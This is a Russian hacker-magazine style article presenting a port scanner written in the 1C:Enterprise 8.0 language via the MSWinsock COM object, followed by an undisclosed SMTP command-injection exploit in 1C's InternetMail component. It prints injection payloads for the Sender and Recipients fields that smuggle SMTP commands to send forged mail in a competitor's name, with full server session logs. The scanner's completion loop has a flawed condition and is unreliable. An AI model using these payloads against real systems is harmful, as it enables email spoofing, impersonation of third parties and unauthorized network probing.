Вот ещё пару выпусков назад мы писали о том, что через пару лет после создания КАЛ наконец-то обнаружил перый вирус для 1С у себя в бухгалтерии. А теперь мы и сами презентуем настоящую разработку нулевого дня - сканер портов для платормы 1С:Предприятие 8.0, досвидания nmap, здраствуй 1С =)
Сразу хочу растроить - в 1С сетевые функции жестоко ограничены. При
желании можно написать сканер используя только объекты 1С - в 8-ке появились
объекты для работы по протоколам SMTP / POP3 / FTP / HTTP - но в своей
реализации они используют блокируемые сокеты, что не есть гут - тк скажется
на скорости скана. Поэтому мы воспользуеся поддержкой COM (довольно развитой
в 1С) и будем использовать объект MSWinsock.Winsock - который и предоставляет
интерфейс для Winsock.
По сути дела нас интересует только лишь один метод объекта - Connect - иницирует соединение - и одно свойство - State -хранит текущее состояние объекта. Таким образом мы приходим к такому простому алгоритму:
// глобальные переменные - порты для скана и имя хоста
перем НачальныйПорт;
перем КонечныйПорт;
перем Хост;
// создаёт новый объект MSWinsock.Winsock и подключает его к
/ сканируемуму хосту на заданный порт
функция СоздатьСокет (Порт)
Сокет = Новый COMОбъект ("MSWinsock.Winsock");
Сокет.Connect (Хост, Порт);
возврат Сокет;
конецфункции
// обработчик кнопки "Зохакать итронет!"
Процедура Кнопка1Нажатие(Элемент)
НачальныйПорт = 1;
КонечныйПорт = 500;
Хост = "srv";
// массив сокетов
Сокет = Новый Массив;
// тк метод Connect асинхронный - то управление нам вернётся
// сразу же после вызова - поэтому мы можем
// не грузиться многопоточностью
ВремяНачало = ТекущаяДата ();
Для Порт = НачальныйПорт по КонечныйПорт цикл
Сокет.Добавить(СоздатьСокет (Порт));
конеццикла;
// проверим состояние всех сокетов
// согласно описалову значения State:
// sckClosed - 0 - сокет закрыт
// sckOpen - 1 - сокет открыт
// sckListening - 2 - прослушивающий сокет
// sckConnectionPending - 3 - посупил запрос на соединение, но ещё не обработан
// sckResolvingHost - 4 - идёт разрешение имени компьютера
// sckHostResolved - 5 - идёт разрешение имени компьютера
// sckConnecting - 6 - выполнение соединение начато, но не заврешненно
// sckConnected - 7 - соединение завршенно
// sckClosing - 8 - соединение закрывается по инициативе другой стороны
// sckError - 9 - ошибка, блин
//
//поэтому мы проверяем состояния всех сокетов - пока они не равны 9 или 7
Конец = Ложь;
пока не Конец цикл
конец = Истина;
Для каждого Элемент из Сокет цикл
если (Элемент.State <> 9 ) или (Элемент.State <> 7) тогда
конец = ложь;
конецесли;
конеццикла;
конеццикла;
ВремяКонец = ТекущаяДата ();
// Сгенерим зыкий отчёт ... кто хочет красоту - может вывести всё это в
// макет табличного документа:
Сообщить ("-=Отчёт по сканированию=-");
Сообщить ("Объект: "+Хост);
Сообщить ("Диапозон портов: "+НачальныйПорт+"-"+КонечныйПорт);
Сообщить ("Время начала: "+Строка (ВремяНачало));
Сообщить ("Время окончания: "+Строка (ВремяКонец));
Сообщить ("Список открытых портов:");
Для каждого Элемент из Сокет цикл
если Элемент.State = 7 тогда
Сообщить ("Порт "+Строка (Элемент.RemotePort)+" открыт");
конецесли;
конеццикла;
КонецПроцедуры
Да вот так всё легко и просто =) причём этот сканер по скорости превзойдёт традиционные коннект-сканеры (это которые в цикле for вызывают connect)
Атака SMTP injection на компоненты 1С
Как упоминалось выше в 8-ке появились некоторые объекты для работы по ограниченному числу проколов. Все эти протоколы текстовые, а значит внедрить свои команды можно довольно легко. Исследованию (которое заняло 15 минут драгоценного обеденного перерыва) подвергся компонент ИнтернетПочта, однако ошибки скорее всего существуют во всех компонентах. Афтары не извещенны, так что држите риальный ксплоит нулевого дня.
Обычно почтоые соединения в 1С создаются подобным кодом (я его встретил в нескольких книгах и конфигурациях - так что можно предположить что он используетс повсеместно):
ИПП = Новый ИнтернетПочтовыйПрофиль;
ИПП.АдресСервераSMTP = Константы.АдресСервераSMTP.Получить();
ИПП.ПортSMTP = Константы.ПортСервераSMTP.Получить();
ИПП.ВремяОжидания = 30;
ИПП.Пользователь = Константы.ИмяПользователяSMTP.Получить();
ИПП.ПользовательSMTP = Константы.ИмяПользователяSMTP.Получить();
ИПП.Пароль = Константы.ПарольПользователяSMTP.Получить();
ИПП.ПарольSMTP = Константы.ПарольПользователяSMTP.Получить();
Почта = Новый ИнтернетПочта;
Попытка
Почта.Подключиться(ИПП);
Исключение
Сообщить (ОписаниеОшибки());
Возврат;
КонецПопытки;
Сообщение = Новый ИнтернетПочтовоеСообщение;
Сообщение.Получатели.Добавить(Получатель);
Сообщение.Отправитель = Отправитель;
Сообщение.Тема = "Subject";
Сообщение.Тексты.Добавить("Very important email");
Почта.Послать (Сообщение);
Почта.Отключиться();
Обратите внимание на заполнение полей Получатели и Отправтель в объекте ИнтернетПочтовоеСообщение. Обычно эти значения вводтся вручную или добавляются по данным из спрвочников Контрагенты и Пользователи. В любом случае практически любойсотрудник компании имеет доступ к редактированию этих полей. Давайте попробуем внедрить в них SMTP команды - для отправки ложного письма от имени конкурента. Например такой код в поле Отправитель:
[email protected]>
RCPT TO: <[email protected]>
data
Subject: Spoofed!
Hello, this is spoofed email ;)
.
QUIT
MAIL FROM: <[email protected]
В данном случае SMTP сессия будет выглдеть подобным образом (обратите внимание что вначале 1С шлёт какую-ту лабуду, которую мы не заказывали):
220 mail.company.com ESMTP
EHLO bad-guy
250-mail.company.com
250-PIPELINING
250-8BITMIME
250 AUTH LOGIN PLAIN CRAM-MD5
MAIL FROM:<[email protected]>
250 ok
RSET
250 flushed
RSET
250 flushed
MAIL FROM:<[email protected]>
RCPT TO: <[email protected]>
data
Subject: Spoofed!
Hello, this is spoofed email ;)
.
QUIT
MAIL FROM: <[email protected]>
250 ok
250 ok
354 go ahead
250 ok
221 mail.company.com
RCPT TO:<[email protected]>
Самое весёлое начинается дальше - 1С грит о том что возник Run time error и предлогает залать отчёт в майкрософт... ну не предусмотрели афтары то что пользователь сам решает когда порвать соединение с SMTP сервером... вполне нормальная ситация...
Если вам не хочется ронять 1С - ведь для продолжения работы придётся заново перезапускать это чудо уберите строчку MAIL FROM: - тогда 1С просто добавит в конец адреса отправителя > и мы увидим такую сессию:
220 mail.company.com ESMTP
EHLO bad-guy
250-mail.company.com
250-PIPELINING
250-8BITMIME
250 AUTH LOGIN PLAIN CRAM-MD5
MAIL FROM:<[email protected]>
250 ok
RSET
250 flushed
RSET
250 flushed
MAIL FROM:<[email protected]>
RCPT TO: <[email protected]>
data
Subject: Spoofed!
Hello, this is spoofed email ;)
.
QUIT>
250 ok
354 go ahead
250 ok
DATA
502 unimplemented (#5.5.1)
503 MAIL first (#5.5.1)
QUIT
Теперь 1С просто уведомит вас о том что поизошла ошибка 503 или 502 и что с ней делать она не в курсе. А мы свой май отправили и прогу не уронили =)
Далее пробуем внедриться в объет Получатели - если адрес отправителя передаётся простой строкой, вообще без каких-либо проверок, то адрес получателя както нелепо анализируется и обрезается по второе вхождение символа @, те если мы внедрим такой код:
[email protected]>
data
Subject: Spoofed!
Hello, this is spoofed email ;)
.
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]
то получим вот такой неожиданный результат:
220 mail.company.com ESMTP
EHLO bad-guy
250-mail.company.com
250-PIPELINING
250-8BITMIME
250 AUTH LOGIN PLAIN CRAM-MD5
MAIL FROM:<[email protected]>
250 ok
RSET
250 flushed
RSET
250 flushed
MAIL FROM:<[email protected]>
data
Subject: Spoofed!
Hello, this is spoofed email ;)
.
MAIL FROM:<good-guy>
250 ok
354 go ahead
250 ok
DATA
250 ok
...
далее идёт попытка отправить письмо, но сервер неумолим =)
....
503 RCPT first (#5.5.1)
502 unimplemented (#5.5.1)
...
Вывод - напрашивается сам .... и что бы всем стало совсем страшно - особенно предприятиям использющим в своей работе 1С и не слышавшим о PGP - некоторые цифры, которые я подчерпнул из статьи E-mail Spoofing and CDONTS.NEWMAIL by David Litchfield (NGSSoftware).
In 2000, Emulex lost $2.2 billion of its total market capitalization due to a spoofed press release and in March 2001 a Hong Kong law firm was the victim of a spoofed e-mail that stated one of their cleaners had been murdered.
Но и без этих страшных фактов надеюсь никому не надо объяснять к чему приводит Email спуфинг и возможность инъекции SMTP команд.